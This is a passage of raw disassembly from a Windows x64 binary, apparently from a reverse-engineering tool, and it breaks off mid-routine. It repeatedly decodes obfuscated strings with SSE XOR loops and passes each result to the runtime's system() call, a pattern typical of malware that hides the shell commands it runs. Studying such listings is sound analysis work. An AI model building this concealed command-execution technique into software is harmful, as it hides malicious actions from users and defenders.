call fcn.140072340
mov r10, rax
cmp byte [rax + 0x58], 0
je 0x14005a855
mov r8d, r14d
cmp r15d, 2
jl 0x14005a81b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x14005a720
cmp r8d, 0x59
jge 0x14005a855
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x59
jl 0x14005a821
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5b84]
lea rcx, [rbp + 0x8a]
mov byte [rbp + 0x8a], al
call fcn.1400723a0
mov r10, rax
cmp byte [rax + 0x55], 0
je 0x14005a9d5
mov r8d, r14d
cmp r15d, 2
jl 0x14005a99b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x14005a8a0
cmp r8d, 0x56
jge 0x14005a9d5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x56
jl 0x14005a9a1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5421]
lea rcx, [rbp + 0x8b]
mov byte [rbp + 0x8b], al
call fcn.1400723f0
mov r10, rax
cmp byte [rax + 0x46], 0
je 0x14005ab55
mov r8d, r14d
cmp r15d, 2
jl 0x14005ab1b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x14005aa20
cmp r8d, 0x47
jge 0x14005ab55
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x47
jl 0x14005ab21
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5352]
lea rcx, [rbp + 0x8c]
mov byte [rbp + 0x8c], al
call fcn.140072440
mov r10, rax
cmp byte [rax + 0x43], 0
je 0x14005acd5
mov r8d, r14d
cmp r15d, 2
jl 0x14005ac9b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x14005aba0
cmp r8d, 0x44
jge 0x14005acd5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x44
jl 0x14005aca1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5040]
lea rcx, [rbp + 0x8d]
mov byte [rbp + 0x8d], al
call fcn.140072480
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x14005ae63
mov r8d, r14d
cmp r15d, 2
jl 0x14005ae25
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x40
jl 0x14005ad30
jmp 0x14005ae63
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x14005ae30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp + 0x8e]
mov byte [rbp + 0x8e], al
call fcn.1400724b0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x14005b114
mov r8d, r14d
cmp r15d, 2
jl 0x14005b0d1
movdqa xmm2, xmmword [0x14015d660]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d680]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
mov r8d, reloc.WS2_32.dll_sendto
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d690]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x14005b0e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1a95]
lea rcx, [rbp + 0x8f]
mov byte [rbp + 0x8f], al
call fcn.1400724e0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x14005b3c4
mov r8d, r14d
cmp r15d, 2
jl 0x14005b382
movdqa xmm2, xmmword [0x14015d660]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d680]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
mov r8d, reloc.WS2_32.dll_sendto
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d690]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x14005b390
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1adb]
lea rcx, [rbp + 0x90]
mov byte [rbp + 0x90], al
call fcn.140072510
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14005b6e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005b6a1
movdqa xmm2, xmmword [0x14015d660]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d680]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
mov r8d, Ordinal_26
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d690]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d6a0]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14005b6b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1b71]
lea rcx, [rbp + 0x91]
mov byte [rbp + 0x91], al
call fcn.140072540
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14005ba04
mov r8d, r14d
cmp r15d, 2
jl 0x14005b9c1
movdqa xmm2, xmmword [0x14015d660]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d680]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
mov r8d, Ordinal_26
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d690]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x14015d6a0]
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
